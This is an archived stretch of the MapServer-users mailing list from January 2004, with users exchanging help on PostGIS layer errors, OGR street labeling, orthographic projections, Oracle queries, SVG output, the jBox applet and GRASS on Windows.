Subject: [Mapserver-users] Implementing ArcView's "hot link" function in MapServer
Message-ID: <002101c3dfc0$cd195450$818001db@webgis>

Hello.

 I'd like to link digital photos to their related site points in MapServer
like ArcView's "hot link" function.

 Does anyone try to implement this function in MapServer? If so, could you
give me any hint or show me any example?

 Regards.





From mhaines94108 at hotmail.com  Tue Jan 20 17:54:29 2004
From: mhaines94108 at hotmail.com (Matthew Haines)
Date: Tue, 20 Jan 2004 20:54:29 -0500
Subject: [Mapserver-users] Error with Postgis data variable
Message-ID: 

I'm having what seems to be a very common problem, but I've stripped the 
code down to the bone and am at a loss as to what to do next.  I've read the 
archives for three hours now and am not finding anything.

Mandrake 9.2 Linux, PostgreSQL 7.4, Postgis 0.8.0, Mapserver 4.0.1

I've chopped my .map file down to the bone:
LAYER
	NAME "bk_taxlots"

	CONNECTIONTYPE postgis
	CONNECTION "user=website dbname=nycpr"
	DATA "the_geom from brooklyn_taxlots"

	MAXSCALE 25000
	TYPE POLYGON
	STATUS DEFAULT

	CLASS
		NAME "Residential, 1-2 Fam"
		OUTLINECOLOR 32 32 32
	END
END

and I'm executing shp2img and get this:

msDrawMap(): Image handling error. Failed to draw layer named 'bk_taxlots'. 


prep_DB(): Query error. Error executing POSTGIS  DECLARE (the actual query) 
statement: 'DECLARE mycursor BINARY CURSOR FOR SELECT 
asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from 
brooklyn_taxlots WHERE the_geom && setSRID('BOX3D(997814 178997,999214 
180397)'::BOX3D, find_srid('','brooklyn_taxlots','the_geom') )' 



Postgresql reports the error ''



More Help:



Error with POSTGIS data variable. You specified '<check your .map 
file>'.

Standard ways of specifiying are : 

(1) 'geometry_column from geometry_table' 

(2) 'geometry_column from (<sub query>) as foo using unique <column 
name> using SRID=<srid#>' 



Make sure you put in the 'using unique  <column name>' and 'using 
SRID=#' clauses in.

_________________________________________________________________
High-speed users?be more efficient online with the new MSN Premium Internet 
Software. http://join.msn.com/?pgmarket=en-us&page=byoa/prem&ST=1



From nacional at cbs.umn.edu  Tue Jan 20 19:14:07 2004
From: nacional at cbs.umn.edu (Pericles S. Nacionales)
Date: Tue, 20 Jan 2004 21:14:07 -0600
Subject: [Mapserver-users] Error with Postgis data variable
In-Reply-To: 
References: 
Message-ID: <1074654846.13971.3.camel@localhost>

These might be what you're looking for:
http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00331.html

You might also want to look at the original message:
http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00291.html

Cheers!
Perry N.

On Tue, 2004-01-20 at 19:54, Matthew Haines wrote:
> I'm having what seems to be a very common problem, but I've stripped the 
> code down to the bone and am at a loss as to what to do next.  I've read the 
> archives for three hours now and am not finding anything.
> 
> Mandrake 9.2 Linux, PostgreSQL 7.4, Postgis 0.8.0, Mapserver 4.0.1
> 
> I've chopped my .map file down to the bone:
> LAYER
> 	NAME "bk_taxlots"
> 
> 	CONNECTIONTYPE postgis
> 	CONNECTION "user=website dbname=nycpr"
> 	DATA "the_geom from brooklyn_taxlots"
> 
> 	MAXSCALE 25000
> 	TYPE POLYGON
> 	STATUS DEFAULT
> 
> 	CLASS
> 		NAME "Residential, 1-2 Fam"
> 		OUTLINECOLOR 32 32 32
> 	END
> END
> 
> and I'm executing shp2img and get this:
> 
> msDrawMap(): Image handling error. Failed to draw layer named 'bk_taxlots'. 
> 

> prep_DB(): Query error. Error executing POSTGIS  DECLARE (the actual query) 
> statement: 'DECLARE mycursor BINARY CURSOR FOR SELECT 
> asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from 
> brooklyn_taxlots WHERE the_geom && setSRID('BOX3D(997814 178997,999214 
> 180397)'::BOX3D, find_srid('','brooklyn_taxlots','the_geom') )' 


> 
> Postgresql reports the error ''


> 
> More Help:


> 
> Error with POSTGIS data variable. You specified '<check your .map 
> file>'.

> Standard ways of specifiying are : 

> (1) 'geometry_column from geometry_table' 

> (2) 'geometry_column from (<sub query>) as foo using unique <column 
> name> using SRID=<srid#>' 


> 
> Make sure you put in the 'using unique  <column name>' and 'using 
> SRID=#' clauses in.
> 
> _________________________________________________________________
> High-speed usersbe more efficient online with the new MSN Premium Internet 
> Software. http://join.msn.com/?pgmarket=en-us&page=byoa/prem&ST=1
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
-- 
Pericles S. Nacionales 
University of Minnesota



From mhaines94108 at hotmail.com  Tue Jan 20 20:47:48 2004
From: mhaines94108 at hotmail.com (Matthew Haines)
Date: Tue, 20 Jan 2004 23:47:48 -0500
Subject: [Mapserver-users] Labeling lines from OGR
Message-ID: 

I have a .tab file which I am currently accessing through OGR.  It contains 
lines like this:

OGRFeature(bklion):537
  Street (String) = FT HAMILTON
  FromLeft (Integer) = 105
  ToLeft (Integer) = 107
  FromRight (Integer) = 106
  ToRight (Integer) = 110
  ZipLeft (Integer) = 11209
  ZipRight (Integer) = 11209
  Style = PEN(w:1px,c:#c0c0c0,id:"mapinfo-pen-2.ogr-pen-0")
  LINESTRING (976686.133 162407.387,976203.783 161682.929)

When I add them to my .map file as a layer the lines draw nicely.  However I 
can't get the street ('FT HAMILTON' in this example) to draw.  What is the 
minimal stuff I can put in my layer to get these labelled?  Below is my 
current layer.  I have tried it with the STYLEITEM removed and also with the 
LABEL block removed, but no labels.

LAYER
	NAME "bk_streets"
	CONNECTIONTYPE OGR
	CONNECTION "data/streets/lion03C/bklion.tab"
	STATUS DEFAULT
	FORCE TRUE
	TYPE LINE
	STYLEITEM "AUTO"
	LABELITEM 'Street'
	CLASS
		COLOR 255 255 255
		LABEL
			COLOR 132 31 31
			SIZE 12
			TYPE TRUETYPE
			FONT arial
			POSITION CL
		END
	END
END

Thanks,

Matthew

_________________________________________________________________
There are now three new levels of MSN Hotmail Extra Storage!  Learn more. 
http://join.msn.com/?pgmarket=en-us&page=hotmail/es2&ST=1



From keon at nacse.org  Wed Jan 21 00:01:41 2004
From: keon at nacse.org (Dylan Keon)
Date: Wed, 21 Jan 2004 00:01:41 -0800
Subject: [Mapserver-users] Error with Postgis data variable
In-Reply-To: <1074654846.13971.3.camel@localhost>
References:  <1074654846.13971.3.camel@localhost>
Message-ID: <400E31E5.8000808@nacse.org>

I've been getting the same error, thinking it must be a permissions 
problem after seeing the various replies recently.  But my 
database-level users, grants, etc. have been fine all along.  Applying 
the fix from this post is what finally worked for me: 
http://postgis.refractions.net/pipermail/postgis-users/2003-December/003653.html 
.

This recent post explains the problem of cursors not being closed:
http://postgis.refractions.net/pipermail/postgis-users/2004-January/003814.html

I also tried MapServer from CVS - the fix(es) must have been committed, 
because that mappostgis.c works fine for me when querying.  My queries 
just bomb when using mappostgis.c from MS 4.0.1.

I'm using PostgreSQL 7.4.1 and PostGIS 0.8.1 on Linux, BTW.

--Dylan


Pericles S. Nacionales wrote:
> These might be what you're looking for:
> http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00331.html
> 
> You might also want to look at the original message:
> http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00291.html
> 
> Cheers!
> Perry N.
> 
> On Tue, 2004-01-20 at 19:54, Matthew Haines wrote:
> 
>>I'm having what seems to be a very common problem, but I've stripped the 
>>code down to the bone and am at a loss as to what to do next.  I've read the 
>>archives for three hours now and am not finding anything.
>>
>>Mandrake 9.2 Linux, PostgreSQL 7.4, Postgis 0.8.0, Mapserver 4.0.1
>>
>>I've chopped my .map file down to the bone:
>>LAYER
>>	NAME "bk_taxlots"
>>
>>	CONNECTIONTYPE postgis
>>	CONNECTION "user=website dbname=nycpr"
>>	DATA "the_geom from brooklyn_taxlots"
>>
>>	MAXSCALE 25000
>>	TYPE POLYGON
>>	STATUS DEFAULT
>>
>>	CLASS
>>		NAME "Residential, 1-2 Fam"
>>		OUTLINECOLOR 32 32 32
>>	END
>>END
>>
>>and I'm executing shp2img and get this:
>>
>>msDrawMap(): Image handling error. Failed to draw layer named 'bk_taxlots'. 
>>

>>prep_DB(): Query error. Error executing POSTGIS  DECLARE (the actual query) 
>>statement: 'DECLARE mycursor BINARY CURSOR FOR SELECT 
>>asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from 
>>brooklyn_taxlots WHERE the_geom && setSRID('BOX3D(997814 178997,999214 
>>180397)'::BOX3D, find_srid('','brooklyn_taxlots','the_geom') )' 


>>
>>Postgresql reports the error ''


>>
>>More Help:


>>
>>Error with POSTGIS data variable. You specified '<check your .map 
>>file>'.

>>Standard ways of specifiying are : 

>>(1) 'geometry_column from geometry_table' 

>>(2) 'geometry_column from (<sub query>) as foo using unique <column 
>>name> using SRID=<srid#>' 


>>
>>Make sure you put in the 'using unique  <column name>' and 'using 
>>SRID=#' clauses in.



From hwehr at hs-harz.de  Wed Jan 21 01:36:24 2004
From: hwehr at hs-harz.de (Harald Wehr)
Date: Wed, 21 Jan 2004 10:36:24 +0100
Subject: [Mapserver-users] Globe View with Orthographic Projection
Message-ID: <400E4818.7090004@hs-harz.de>

I want to provide an earth view that looks like a globe. I therefore use 
the orthographic projection but get some problems here.

As I dont' know whether it is possible to attach binary files in this 
mailing list i put all example files under this url:

http://www2.hs-harz.de/~hwehr/mapserver/

I made 3 examples, every example has a map file, a template output and 
the resulting image.

Let me explain the examples. My data resides in a tif-file with world 
information in lat/lon format. Example 1 is working as you can see in 
the files containing the number 1. This example uses normal lat/lon 
projection.

In the 2nd example I switched to orthographic projection with the 
extends -4000000 -4000000 4000000 4000000. Projection center is lon=0 
and lat=0 and does not change in these examples (I know that this has to 
change every time the user performs a click. My client is able to handle 
this). This output looks ok to me.

If I enlarge the extend in example 3 the output picture is cut in the 
north south direction and I don't know why. I want to be able to enlarge 
the extent further so that the user thinks he "moves away" from the 
earth but pictures become smaller and smaller in north south direction 
when I enlarge the extent further (e.G.-6200000 -6200000 6200000 6200000)

Every extent that is "higher" than the earth radius (6378000) results in 
a blank image.

Can you help me here?

Thanks
Harald




From AWOOLEY at mountainland.org  Wed Jan 21 07:31:36 2004
From: AWOOLEY at mountainland.org (ANDREW WOOLEY)
Date: Wed, 21 Jan 2004 08:31:36 -0700
Subject: [Mapserver-users] Implementing ArcView's "hot link"
 function in MapServer
Message-ID: 

The way that I chose to do this is to link an ID from the shape table to
a MySQL table with a field with the image paths.  It works basically the
same way as the ArcView hotlink function but is a little more flexible
(I think).

Here are the steps that I have taken to get this done:
Prep:
a. Set up your feature layer - shapefile, PostGIS, etc. - with a unique
ID.
b. Set up a MySQL database with the ID for the shapefile and a field
with the path to the image.

Application:
1. Query shapefile with PHP/MapScript methods - I borrowed the code
from the very easy to read gMap demo from DM Solutions - and return a
unique ID for the feature.
2. Query MySQL db with the IDs and path to image and I use a thumbimage
(something like path/to/images/thumbs/image.jpg) to show a low res image
instead of the full image.  Then they click to get the full res image
(path/to/images/image.jpg).
3. Loop through results and build a table of image tags.

I found this to be easy to maintain when I want to add new images or
additional images.  There is effectively no limit to the number of
images you can associate with any given feature.

I hope this is concise enough to explain what I am doing.  If you want
code samples, I would be happy to share.

Andrew

Andrew Wooley
GIS Coordinator
Mountainland Association of Governments
586 E 800 N
Orem, UT 84097
ph: 801.229.3844
email: awooley at mountainland.org

>>> "Hisaji Ono"  1/20/2004 6:49:26 PM >>>
Hello.

 I'd like to link digital photos to their related site points in
MapServer
like ArcView's "hot link" function.

 Does anyone try to implement this function in MapServer? If so, could
you
give me any hint or show me any example?

 Regards.



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From omry at telmap.com  Wed Jan 21 07:45:45 2004
From: omry at telmap.com (Omry Yadan)
Date: Wed, 21 Jan 2004 17:45:45 +0200
Subject: [Mapserver-users] Rotated maps
Message-ID: <143CFA2E3C9B5D459E78DA18E3F15F89011F283E@plague.telmap.com>

Can I request rotated maps from MapServer using WMS protocol?
By rotated maps I mean a map for which the north is not up, when the data
has its north up.


From nicolas.fortin at ec.gc.ca  Wed Jan 21 07:44:46 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Wed, 21 Jan 2004 10:44:46 -0500
Subject: [Mapserver-users] Query on Oracle Layer!?!?
Message-ID: 

Hi list,

I just made a small application test that allow query on an Oracle Spatial
Layer.
When I made this query, I got this error :
msOracleSpatialLayerGetItems(): OracleSpatial error. Function not
implemented yet 

Doh!...So I can't make an Oracle layer queryable??


Nicolas Fortin 
Math?maticien, Programmeur, Analyste de donn?es 
SMC-Qu?bec Hydrologie, Environnement Canada 
1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 
(418)648-2516 
nicolas.fortin at ec.gc.ca  



From warmerdam at pobox.com  Wed Jan 21 08:44:50 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Wed, 21 Jan 2004 11:44:50 -0500
Subject: [Mapserver-users] Rotated maps
In-Reply-To: <143CFA2E3C9B5D459E78DA18E3F15F89011F283E@plague.telmap.com>
References: <143CFA2E3C9B5D459E78DA18E3F15F89011F283E@plague.telmap.com>
Message-ID: <400EAC82.4070507@pobox.com>

Omry Yadan wrote:
> Can I request rotated maps from MapServer using WMS protocol?
> By rotated maps I mean a map for which the north is not up, when the data
> has its north up.

Omry,

To the best of my knowledge there is no convenient way to do this.  You
could ... in theory ... develop a projection option which is essentially
a rotated frame of reference and let mapserver do the rotation as a
reprojection step, but that would be fairly hard.

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From spoerri at duke.edu  Wed Jan 21 09:11:16 2004
From: spoerri at duke.edu (Christoph Spoerri)
Date: Wed, 21 Jan 2004 12:11:16 -0500
Subject: [Mapserver-users] get inline features (aka getShape())
In-Reply-To: 
References: 
Message-ID: <200401211211.16570.spoerri@duke.edu>

Hi there,

I was looking for a mapserver developers list, but the web site seemes to be 
down, so I decided to post here.

My (solved) problem was to get inline features I added to the map. Later on, I 
needed to access those feature for some manipulation and coping. Since, I 
wasn't able to use getShape() on the layer with the inline feature, I added 
this capability to the getShape() method of the layer 'class'. In addition, I 
added a function called getNumFeatures(), which returns the number of inline 
features.

I was now wondering, if this functions could/should be added to the mapserver 
in general. Is there a need for them? (I had one ;) )

cheers,
Christoph



From warmerdam at pobox.com  Wed Jan 21 08:41:51 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Wed, 21 Jan 2004 11:41:51 -0500
Subject: [Mapserver-users] Labeling lines from OGR
In-Reply-To: 
References: 
Message-ID: <400EABCF.6020906@pobox.com>

Matthew Haines wrote:
> I have a .tab file which I am currently accessing through OGR.  It 
> contains lines like this:
> 
> OGRFeature(bklion):537
>  Street (String) = FT HAMILTON
>  FromLeft (Integer) = 105
>  ToLeft (Integer) = 107
>  FromRight (Integer) = 106
>  ToRight (Integer) = 110
>  ZipLeft (Integer) = 11209
>  ZipRight (Integer) = 11209
>  Style = PEN(w:1px,c:#c0c0c0,id:"mapinfo-pen-2.ogr-pen-0")
>  LINESTRING (976686.133 162407.387,976203.783 161682.929)
> 
> When I add them to my .map file as a layer the lines draw nicely.  
> However I can't get the street ('FT HAMILTON' in this example) to draw.  
> What is the minimal stuff I can put in my layer to get these labelled?  
> Below is my current layer.  I have tried it with the STYLEITEM removed 
> and also with the LABEL block removed, but no labels.

Matthew,

Daniel might have a more detailed response, but my take on this is that
the mapinfo file itself does not by default request a rendering of the
street names.  That is, there is no "LABEL" action in the Style string.
So, the STYLEITEM AUTO will just use the PEN information to draw the line
properly.

To do the labelling you will likely have to add another LAYER definition
in your .map file, coming from the same .tab file, but in this one use
normal MapServer mechanisms to draw labels along the line from the Street
attribute -- but don't use STYLEITEM AUTO.  I am not too up on the labelling
stuff, but you should be able to find info in the normal tutorials on this.

The key think to recognise is that the .tab autostyling information does not
include the labels, so it has to be handled in a seperate rendering pass
(that is ... as an additional layer).

Good luck,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From steve.lime at dnr.state.mn.us  Wed Jan 21 08:34:20 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Wed, 21 Jan 2004 10:34:20 -0600
Subject: [Mapserver-users] SVG versus Flash
Message-ID: 

With SVG you're not limited to the method you mention. The development
version has had some new features added so that you can you normal
MapServer queries/templates to generate SVG. Here's a message I sent to
the list a while back:

------------------
Here's an example link that shows SVG MapServer output:

http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/testing/svg/test.map&mode=itemnquery&qitem=cty_name&qstring=/./&qlayer=county


It's super simple, and just dumps MN counties to a SVG document.
There's a smile animation (provided by a student over at the UMN) that
you see when move your mouse over an individual county. The mapfile
and
templates can be found at:

  http://maps.dnr.state.mn.us/testing/svg/svg_simple.zip 

Note that you'll need the CVS version of MapServer for this stuff to
work. I've tried the above URL with Mozilla (native SVG support,
animation doesn't work) and IE (Adobe plugin) with success.

Please pass along questions or comments!
------------------

I've only worked with SVG briefly, but was quite impressed with its
potential. It seems much more ammenable to on-the-fly creation than
flash (since it's ascii). Biggest downside, and it's a huge one, it the
lack of client software. The Adobe plugin works great, but their support
for non-windows clients sucks, and there is little else out there that
supports a significant portion of the SVG spec.

Steve

Stephen Lime
Data & Applications Manager

Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937

>>> Bart van den Eijnden  1/20/2004 1:52:02 PM >>>
Hi list,

if you want to use vector-based clients, Mapserver basically has 2
options:

1. use Flash swf output
2. use GML output on the WFS interface and transform this into SVG
(xslt)

Can anybody name some strong or weak points of both techniques, and are

there any working implementations out there?

I know there is a very good comparison at:
http://www.carto.net/papers/svg/comparison_flash_svg/ 

but I am just wondering if anybody has some experience with this choice
or 
even with both techniques and Mapserver.

Thanks in advance for any input on this.

Best regards,
Bart
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From wim.blanken at planet.nl  Wed Jan 21 08:24:21 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Wed, 21 Jan 2004 17:24:21 +0100
Subject: [Mapserver-users] Query on Oracle Layer!?!?
References: 
Message-ID: <009101c3e03b$08f06390$6400a8c0@BLANKEN>

Hello Nicolas,

That is right. With the built-in oracle functionality you cannot use query
with oracle layers.
If you however compile mapserver with OGR then you can use the query
function with oracle.
If you are working on windows maybe someone has a version for you that
includes this functionality?

Regards,

Wim Blanken
The Netherlands



----- Original Message -----
From: 
To: 
Sent: Wednesday, January 21, 2004 4:44 PM
Subject: [Mapserver-users] Query on Oracle Layer!?!?


> Hi list,
>
> I just made a small application test that allow query on an Oracle Spatial
> Layer.
> When I made this query, I got this error :
> msOracleSpatialLayerGetItems(): OracleSpatial error. Function not
> implemented yet
>
> Doh!...So I can't make an Oracle layer queryable??
>
>
> Nicolas Fortin
> Math?maticien, Programmeur, Analyste de donn?es
> SMC-Qu?bec Hydrologie, Environnement Canada
> 1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5
> (418)648-2516
> nicolas.fortin at ec.gc.ca 
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From hjulien at nrcan.gc.ca  Wed Jan 21 09:27:34 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Wed, 21 Jan 2004 12:27:34 -0500
Subject: TR: [Mapserver-users] Implementing ArcView's "hot link" function
 in MapServer
Message-ID: <06B403677C41D51194550002A55107D201F78FE2@s5-stf1-r1.nrn.nrcan.gc.ca>



Hi,
I haven't tried but I have an idea. Creat a query template that fetches the
related point url from the shapefile dbf. In the query template, mapserver
could put the url in a automatic relocate function which could get you web
page, picture or... anything else.

Exemple in a html heading: 

Good luck

Heryk
NRCan

-----Message d'origine-----
De?: Hisaji Ono [mailto:hi_ono2001 at ybb.ne.jp]
Envoye?: Tuesday, January 20, 2004 8:49 PM
A?: mapserver-users at lists.gis.umn.edu
Objet?: [Mapserver-users] Implementing ArcView's "hot link" function in
MapServer


Hello.

 I'd like to link digital photos to their related site points in MapServer
like ArcView's "hot link" function.

 Does anyone try to implement this function in MapServer? If so, could you
give me any hint or show me any example?

 Regards.



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From hi_ono2001 at ybb.ne.jp  Wed Jan 21 09:31:49 2004
From: hi_ono2001 at ybb.ne.jp (Hisaji Ono)
Date: Thu, 22 Jan 2004 02:31:49 +0900
Subject: [Mapserver-users] How to change Feature object's in Annotation Layer by MapScript/PHP
References: <002101c3dfc0$cd195450$818001db@webgis>
Message-ID: <004101c3e044$73451110$818001db@webgis>

Hello.

 Could you teach me how to change Feature object's text in Annotation Layer
by MapScript/PHP?

 Regards.



From sgillies at frii.com  Wed Jan 21 09:49:07 2004
From: sgillies at frii.com (Sean Gillies)
Date: Wed, 21 Jan 2004 10:49:07 -0700
Subject: [Mapserver-users] get inline features (aka getShape())
In-Reply-To: <200401211211.16570.spoerri@duke.edu>
References:  <200401211211.16570.spoerri@duke.edu>
Message-ID: <1C8607D0-4C3A-11D8-B09D-000393B98B56@frii.com>

On Jan 21, 2004, at 10:11 AM, Christoph Spoerri wrote:

> Hi there,
>
> I was looking for a mapserver developers list, but the web site seemes 
> to be
> down, so I decided to post here.
>
> My (solved) problem was to get inline features I added to the map. 
> Later on, I
> needed to access those feature for some manipulation and coping. 
> Since, I
> wasn't able to use getShape() on the layer with the inline feature, I 
> added
> this capability to the getShape() method of the layer 'class'. In 
> addition, I
> added a function called getNumFeatures(), which returns the number of 
> inline
> features.
>
> I was now wondering, if this functions could/should be added to the 
> mapserver
> in general. Is there a need for them? (I had one ;) )
>
> cheers,
> Christoph
>

Cristoph,

Send me a patch and I'll see about getting it into MapScript.

Sean


--
Sean Gillies
sgillies at frii dot com
http://users.frii.com/sgillies



From msmith at sanangelompo.org  Wed Jan 21 09:42:50 2004
From: msmith at sanangelompo.org (Michael Smith)
Date: Wed, 21 Jan 2004 11:42:50 -0600
Subject: [Mapserver-users] jBox
Message-ID: <200401211241972.SM02752@PLANGIS>

I have jBox installed on windows 2000 IIS 5.  I followed (I think) the
instructions on installing.  Created wwwroot/java/jBox/ folder and copied
evalThread.class, jBox.java, and jBox.class to that directory.  I then made
modifications to my html file and everthing seems to work other than I am
getting a "gray box" where my map used to be.  Does anyone have any ideas
what I may have missed?

Inserted in head of html:




Inserted this into the body of the html:
          
          
            
              
            
          
        

AND




Michael Smith, Planner II
City of San Angelo
Planning & Development
325.657.4210 Fax: 325.481.2648
Email: msmith at sanangelompo.org 



From nicolas.fortin at ec.gc.ca  Wed Jan 21 09:37:45 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Wed, 21 Jan 2004 12:37:45 -0500
Subject: [Mapserver-users] Query on Oracle Layer!?!?
Message-ID: 

Thx Wim,

If someone already done this, I'll be glad if he could send it to me.
I'm not very familiar with OGR, are there doc on its use with mapserver
somewhere?

Nicolas

-----Message d'origine-----
De : Wim Blanken (PI) [mailto:wim.blanken at planet.nl] 
Envoy? : Wednesday, January 21, 2004 11:24 AM
? : nicolas.fortin at ec.gc.ca
Cc : mapserver-users at lists.gis.umn.edu
Objet : Re: [Mapserver-users] Query on Oracle Layer!?!?


Hello Nicolas,

That is right. With the built-in oracle functionality you cannot use query
with oracle layers. If you however compile mapserver with OGR then you can
use the query function with oracle. If you are working on windows maybe
someone has a version for you that includes this functionality?

Regards,

Wim Blanken
The Netherlands



----- Original Message -----
From: 
To: 
Sent: Wednesday, January 21, 2004 4:44 PM
Subject: [Mapserver-users] Query on Oracle Layer!?!?


> Hi list,
>
> I just made a small application test that allow query on an Oracle 
> Spatial Layer. When I made this query, I got this error :
> msOracleSpatialLayerGetItems(): OracleSpatial error. Function not
> implemented yet
>
> Doh!...So I can't make an Oracle layer queryable??
>
>
> Nicolas Fortin
> Math?maticien, Programmeur, Analyste de donn?es
> SMC-Qu?bec Hydrologie, Environnement Canada
> 1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5
> (418)648-2516
> nicolas.fortin at ec.gc.ca 
>
> _______________________________________________
> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From stephen.clark at focus.ca  Wed Jan 21 11:19:34 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Wed, 21 Jan 2004 11:19:34 -0800
Subject: [Mapserver-users] Has anyone setup GRASS + Mapserver on Windows 2000 ?
References:  <031101c3df9b$fbf4df80$6c000a0a@sclark> 
Message-ID: <002e01c3e053$80e56310$6c000a0a@sclark>

Perry,

Do you have a link to compile instructions to libgrass for Windows?
FYI, I have a VC .NET compiler.

Do you know if GDAL 1.1.9 supports grass directly?

Also is is possible to script some grass commands and make them available
via the mapserver interface.
What I am planning on doing is using GRASS to calculate a shortest route via
some sort of web interface
and display the results in Mapserver.  Do you know if anyone has tried this?

thanks
Stephen


----- Original Message ----- 
From: "Pericles Nacionales" 
To: "Stephen Clark" 
Cc: 
Sent: Tuesday, January 20, 2004 2:21 PM
Subject: Re: [Mapserver-users] Has anyone setup GRASS + Mapserver on Windows
2000 ?


> Stephen,
>
> If I haven't completely switched to GNU/Linux I probably would have.
> Anyway, I can give you an advice if you're planning to go that route.  The
> easiest way to do it is to compile everything under cygwin--GRASS,
> MapServer, and all the libraries needed (GDAL, PROJ, GD2, etc).  You can
> then use apache or IIS servers but make sure to avoid having spaces on
> your path names.  So, no "C:/Program Files/Apache Group/Apache/htdocs".
> Instead, install apache directly on "C:\" to get "C:/Apache/htdocs".  I
> don't think you have that problem with IIS since the default
> directory--"C:\Inetpub\wwwroot"--doesn't contain spaces.  There is also a
> version of apache compiled under cygwin.  You can use that instead.
>
> Of course, you can just try compiling libgrass natively on Windows.  Then
> you can can try compiling it with GDAL.  If it compiles without problems,
> I'd take my "compiling under cygwin is the easiest way" statement back.
> The rest is just a matter of finding out how to use GRASS data in
> MapServer:
> http://lists.gis.umn.edu/pipermail/mapserver-users/2003-April/003454.html
>
> Good luck!
> -Perry N.
>
>
> On Tue, 20 Jan 2004, Stephen Clark wrote:
>
> > Hi all,
> >
> > I am wondering if there is anyone has setup GRASS + Mapserver on Windows
2000 ?
> >
> > thanks
> > Stephen
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



From pcifuentes at siigsa.cl  Wed Jan 21 10:19:12 2004
From: pcifuentes at siigsa.cl (Patricio Cifuentes Ithal)
Date: Wed, 21 Jan 2004 15:19:12 -0300 (CLST)
Subject: [Mapserver-users] Heeeeeelp in spanish please
In-Reply-To: <20040120180005.2411.95933.Mailman@lists.gis.umn.edu>
References: <20040120180005.2411.95933.Mailman@lists.gis.umn.edu>
Message-ID: <34732.172.17.33.236.1074709152.squirrel@webmail.siigsa.cl>

prueba desde chile


From wim.blanken at planet.nl  Wed Jan 21 10:10:44 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Wed, 21 Jan 2004 19:10:44 +0100
Subject: [Mapserver-users] jBox
References: <200401211241972.SM02752@PLANGIS>
Message-ID: <00b801c3e049$e4860a50$6400a8c0@BLANKEN>

This is a multi-part message in MIME format.

--Boundary_(ID_Cr1kzHME+8/55aJ9VAP29g)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT

Hello Michael,

Two possible solutions:

1. Please check if you got the case of the text right.

2. The jbox applet does not function on MS VM if you have downloaded it from
the mapserver utilities section. It was compiled with a JDK not compatible
with 1.1. You have to recompile it with a java compiler (for example in SDK
1.4 with: javac -target 1.1 jBox.class). If you use JRE instead if MS VM
than it will work OK.

3. Use the Jbox.class that I have included in this mail. Please beare in
mind that I have changed this Jbox in order to include digitising functions.

Regards,

Wim Blanken

----- Original Message -----
From: "Michael Smith" 
To: 
Sent: Wednesday, January 21, 2004 6:42 PM
Subject: [Mapserver-users] jBox


> I have jBox installed on windows 2000 IIS 5.  I followed (I think) the
> instructions on installing.  Created wwwroot/java/jBox/ folder and copied
> evalThread.class, jBox.java, and jBox.class to that directory.  I then
made
> modifications to my html file and everthing seems to work other than I am
> getting a "gray box" where my map used to be.  Does anyone have any ideas
> what I may have missed?
>
> Inserted in head of html:
> 
>
>
>
> Inserted this into the body of the html:
>           
>           
>                             height="600" name="jBox" MAYSCRIPT>
>               
>             
>           
>         
>
> AND
>
> 
>
>
> Michael Smith, Planner II
> City of San Angelo
> Planning & Development
> 325.657.4210 Fax: 325.481.2648
> Email: msmith at sanangelompo.org
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

--Boundary_(ID_Cr1kzHME+8/55aJ9VAP29g)
Content-type: application/x-zip-compressed; name=jBox.zip
Content-transfer-encoding: base64
Content-disposition: attachment; filename=jBox.zip

UEsDBBQAAAAIAPuAMjB9+5Wt/RIAANEmAAAKAAAAakJveC5jbGFzc71YCXhUVbKu6vWmuUmgSZAg
